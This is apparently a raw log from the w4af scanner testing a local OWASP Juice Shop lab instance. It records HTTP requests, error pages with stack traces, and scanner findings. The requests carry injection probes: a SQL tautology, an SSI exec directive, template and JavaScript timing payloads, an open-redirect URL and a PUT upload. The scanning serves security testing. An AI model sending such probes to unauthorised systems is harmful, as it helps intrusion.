PUT http://localhost:3000/ftp/SHSuH HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* T4B70W
b"HTTP/1.1 405 Method Not Allowed\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nAllow: GET, HEAD, OPTIONS\r\nContent-Length: 0\r\nDate: Tue, 05 Mar 2024 23:56:21 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b''
DAV seems to be incorrectly configured. The web server answered with a 500 error code. In most cases, this means that the DAV extension failed in some way. This error was found at: "http://localhost:3000/rest/memories/NUhgZ". This information was found in the request with id 65468.
GET http://localhost:3000/rest/memories/NUhgZ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:23 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/memories/NUhgZ</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/memories/NUhgZ</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
The remote web server sent 1 HTTP responses with the uncommon response status code 406 using "Not Acceptable" as message. The first ten URLs which sent the uncommon status code are: - http://localhost:3000/redirect
The server responded with a strange HTTP status code. This is a non-issue however exotic HTTP response status codes can provide useful insights into the behavior of the web application and assist with the information security analysis.
GET http://localhost:3000/redirect?to=a%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F%29%2F HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: a)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: a)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/)/</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=83%27%20OR%20%2783%27%3D%2783%27%20OR%20%2783%27%3D%2783 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: 83' OR '83'='83' OR '83'='83</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: 83' OR '83'='83' OR '83'='83</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%7Bmath%20equation%3D%22x%20%2A%20y%22%20x%3D58992%20y%3D97115%7D HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: {math equation="x * y" x=58992 y=97115}</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: {math equation="x * y" x=58992 y=97115}</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=http%3A%2F%2Flocalhost%40w4af.net HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: http://localhost@w4af.net</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: http://localhost@w4af.net</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%3C%21--%23exec%20cmd%3D%22echo%20-n%2028581%3Becho%20-n%2065561%22%20--%3E HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: <!--#exec cmd="echo -n 28581;echo -n 65561" --></title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: <!--#exec cmd="echo -n 28581;echo -n 65561" --></h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%22%3Bvar%20cd%3Bvar%20d%3Dnew%20Date%28%29%3Bdo%7Bcd%3Dnew%20Date%28%29%3B%7Dwhile%28cd-d%3C8000%29%3Bvar%20x%3D%22 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:45 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
